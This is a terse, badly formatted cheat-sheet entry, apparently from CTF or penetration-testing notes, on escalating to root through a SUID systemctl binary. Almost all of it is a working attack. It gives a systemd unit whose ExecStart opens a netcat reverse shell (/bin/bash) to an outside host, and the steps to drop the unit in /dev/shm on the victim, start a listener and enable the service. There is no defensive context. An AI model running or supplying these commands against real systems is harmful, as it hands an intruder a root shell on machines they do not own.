systemctl SUID nano root.service👨💻[Service]Type=oneshotExecStart=/bin/bash -c 'nc -nv 10.10.14.9 123 -e /bin/bash'[Install]WantedBy=multi-user.targetTransfer to victim in dir /dev/shmsystemctl link /dev/shm/root.servicenc -nvlp 123 systemctl enable --now /dev/shm/root.service